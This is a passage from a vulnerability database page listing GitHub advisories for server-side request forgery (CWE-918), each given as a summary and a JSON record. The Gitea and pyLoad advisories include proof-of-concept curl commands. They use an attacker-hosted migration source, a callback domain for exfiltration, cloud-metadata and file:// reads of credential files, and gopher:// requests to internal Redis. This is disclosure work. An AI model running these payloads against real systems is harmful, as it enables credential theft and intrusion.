CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4860 vulnerabilities reference this CWE, most recent first.
GHSA-2RVG-P9MC-WR6C
Vulnerability from github – Published: 2026-01-28 18:30 – Updated: 2026-01-28 18:30ILIAS Learning Management System 4.3 contains a server-side request forgery vulnerability that allows attackers to read local files through portfolio PDF export functionality. Attackers can inject a script that uses XMLHttpRequest to retrieve local file contents when the portfolio is exported to PDF.
{
"affected": [],
"aliases": [
"CVE-2020-36944"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T18:16:45Z",
"severity": "MODERATE"
},
"details": "ILIAS Learning Management System 4.3 contains a server-side request forgery vulnerability that allows attackers to read local files through portfolio PDF export functionality. Attackers can inject a script that uses XMLHttpRequest to retrieve local file contents when the portfolio is exported to PDF.",
"id": "GHSA-2rvg-p9mc-wr6c",
"modified": "2026-01-28T18:30:48Z",
"published": "2026-01-28T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36944"
},
{
"type": "WEB",
"url": "https://github.com/ILIAS-eLearning/ILIAS"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49148"
},
{
"type": "WEB",
"url": "https://www.ilias.de"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ilias-learning-management-system-ssrf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2V29-2PV7-F546
Vulnerability from github – Published: 2026-04-02 21:32 – Updated: 2026-04-02 21:32A vulnerability was determined in Dataease SQLbot up to 1.6.0. This issue affects the function get_es_data_by_http of the file backend/apps/db/es_engine.py of the component Elasticsearch Handler. This manipulation of the argument address causes server-side request forgery. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.7.0 is capable of addressing this issue. You should upgrade the affected component. The vendor was contacted early about this disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-5417"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T19:21:36Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in Dataease SQLbot up to 1.6.0. This issue affects the function get_es_data_by_http of the file backend/apps/db/es_engine.py of the component Elasticsearch Handler. This manipulation of the argument address causes server-side request forgery. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.7.0 is capable of addressing this issue. You should upgrade the affected component. The vendor was contacted early about this disclosure.",
"id": "GHSA-2v29-2pv7-f546",
"modified": "2026-04-02T21:32:53Z",
"published": "2026-04-02T21:32:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5417"
},
{
"type": "WEB",
"url": "https://github.com/dataease/SQLBot/releases/tag/v1.7.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/756043"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354854"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354854/cti"
},
{
"type": "WEB",
"url": "https://www.notion.so/SQLbot-SSRF-in-Elasticsearch-Unvalidated-Requests-2afea92a3c4180bea524f1a253f8d9a0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2VGP-8568-M98F
Vulnerability from github – Published: 2026-04-08 18:34 – Updated: 2026-04-09 21:31A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-31017"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T17:21:18Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as \u003ciframe\u003e that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.",
"id": "GHSA-2vgp-8568-m98f",
"modified": "2026-04-09T21:31:28Z",
"published": "2026-04-08T18:34:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31017"
},
{
"type": "WEB",
"url": "https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31017"
},
{
"type": "WEB",
"url": "http://frappe.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2VW7-MRF4-V3MH
Vulnerability from github – Published: 2026-04-03 18:31 – Updated: 2026-04-03 21:31Microsoft Bing Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2026-32186"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-03T18:16:24Z",
"severity": "MODERATE"
},
"details": "Microsoft Bing Elevation of Privilege Vulnerability",
"id": "GHSA-2vw7-mrf4-v3mh",
"modified": "2026-04-03T21:31:42Z",
"published": "2026-04-03T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32186"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32186"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2VXM-9C9F-7Q2M
Vulnerability from github – Published: 2024-12-10 03:31 – Updated: 2024-12-10 03:31Adobe Document Service allows an attacker with administrator privileges to send a crafted request from a vulnerable web application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. On successful exploitation, the attacker can read or modify any file and/or make the entire system unavailable.
{
"affected": [],
"aliases": [
"CVE-2024-47578"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T01:15:05Z",
"severity": "CRITICAL"
},
"details": "Adobe Document Service allows an attacker with administrator privileges to send a crafted request from a vulnerable web application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. On successful exploitation, the attacker can read or modify any file and/or make the entire system unavailable.",
"id": "GHSA-2vxm-9c9f-7q2m",
"modified": "2024-12-10T03:31:45Z",
"published": "2024-12-10T03:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47578"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3536965"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2W53-3QHG-WQQ3
Vulnerability from github – Published: 2025-07-18 21:30 – Updated: 2025-07-18 21:30A Server-Side Request Forgery (SSRF) in the component TunnelServlet of agorum Software GmbH Agorum core open v11.9.2 & v11.10.1 allows attackers to forcefully initiate connections to arbitrary internal and external resources via a crafted request. This can lead to sensitive data exposure.
{
"affected": [],
"aliases": [
"CVE-2025-52163"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-18T19:15:24Z",
"severity": "MODERATE"
},
"details": "A Server-Side Request Forgery (SSRF) in the component TunnelServlet of agorum Software GmbH Agorum core open v11.9.2 \u0026 v11.10.1 allows attackers to forcefully initiate connections to arbitrary internal and external resources via a crafted request. This can lead to sensitive data exposure.",
"id": "GHSA-2w53-3qhg-wqq3",
"modified": "2025-07-18T21:30:30Z",
"published": "2025-07-18T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52163"
},
{
"type": "WEB",
"url": "https://herolab.usd.de/security-advisories/usd-2025-0025"
},
{
"type": "WEB",
"url": "http://agorum.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2WF9-R2CR-9GR8
Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59Adobe Experience Manager versions 6.2 and 6.3 have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.
{
"affected": [],
"aliases": [
"CVE-2018-5004"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-20T19:29:00Z",
"severity": "HIGH"
},
"details": "Adobe Experience Manager versions 6.2 and 6.3 have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.",
"id": "GHSA-2wf9-r2cr-9gr8",
"modified": "2022-05-14T02:59:16Z",
"published": "2022-05-14T02:59:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5004"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2WM4-VWP6-V7XC
Vulnerability from github – Published: 2026-07-21 21:55 – Updated: 2026-07-21 21:55Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}
Callers in migration path:
- services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
- services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches
File: services/migrations/dump.go (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader
File: routers/web/auth/oauth.go (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcher
Contrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)
PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"
Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59765"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:55:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go\u0027s `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n u, err := url.Parse(uriStr)\n switch strings.ToLower(u.Scheme) {\n case \"http\", \"https\":\n f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering\n return f.Body, nil\n case \"file\":\n return os.Open(u.Path) // LOCAL FILE READ via file:// scheme\n }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n resp, err := http.Get(url) // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker\u0027s Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n -H \"Authorization: token ADMIN_API_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n \"repo_name\": \"migrated-repo\",\n \"repo_owner\": \"admin\",\n \"service\": \"gitea\"\n }\u0027\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo\u0027s release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source",
"id": "GHSA-2wm4-vwp6-v7xc",
"modified": "2026-07-21T21:55:31Z",
"published": "2026-07-21T21:55:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher \u2014 Reads Internal Files and Cloud Metadata"
}
GHSA-2WVG-62QM-GJ33
Vulnerability from github – Published: 2026-04-04 04:18 – Updated: 2026-04-06 23:43Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
- /etc/passwd, /etc/hosts
- /proc/self/environ (process environment variables)
- /config/settings/pyload.cfg (pyLoad configuration)
- /config/data/pyload.db (SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
from urllib.parse import urlparse
import ipaddress
import socket
def _is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
hostname = parsed.hostname
if not hostname:
return False
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except (socket.gaierror, ValueError):
return False
return True
def parse_urls(self, html=None, url=None):
if url:
if not _is_safe_url(url):
raise ValueError("URL targets a restricted address or uses a disallowed protocol")
page = get_url(url)
urls.update(RE_URLMATCH.findall(page))
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev96"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35187"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:18:43Z",
"nvd_published_at": "2026-04-06T20:16:27Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n if url:\n page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist\n urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=\u003cSESSION\u003e\" -H \"X-CSRFToken: \" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"url=http://ssrf-proof.\u003cCALLBACK_DOMAIN\u003e/pyload-ssrf-poc\" http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -\u003e empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -\u003e pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\\u0027Couldn\u0027t open file /nonexistent\\\u0027)\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, \u0027Failed to connect to 127.0.0.1 port 22\u0027)\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn\u0027t open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n parsed = urlparse(url)\n if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n return False\n hostname = parsed.hostname\n if not hostname:\n return False\n try:\n for info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(info[4][0])\n if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n return False\n except (socket.gaierror, ValueError):\n return False\n return True\n\ndef parse_urls(self, html=None, url=None):\n if url:\n if not _is_safe_url(url):\n raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n page = get_url(url)\n urls.update(RE_URLMATCH.findall(page))\n```",
"id": "GHSA-2wvg-62qm-gj33",
"modified": "2026-04-06T23:43:23Z",
"published": "2026-04-04T04:18:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35187"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter"
}
GHSA-2X2M-2FW2-WHQJ
Vulnerability from github – Published: 2024-04-09 21:31 – Updated: 2024-04-09 21:31The Avada | Website Builder For WordPress & WooCommerce theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.11.6 via the form_to_url_action function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-2343"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T19:15:33Z",
"severity": "MODERATE"
},
"details": "The Avada | Website Builder For WordPress \u0026 WooCommerce theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.11.6 via the form_to_url_action function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-2x2m-2fw2-whqj",
"modified": "2024-04-09T21:31:59Z",
"published": "2024-04-09T21:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2343"
},
{
"type": "WEB",
"url": "https://avada.com/documentation/avada-changelog"
},
{
"type": "WEB",
"url": "https://gist.github.com/Xib3rR4dAr/55d41870c7ce0e95f454d00100bc10dc"
},
{
"type": "WEB",
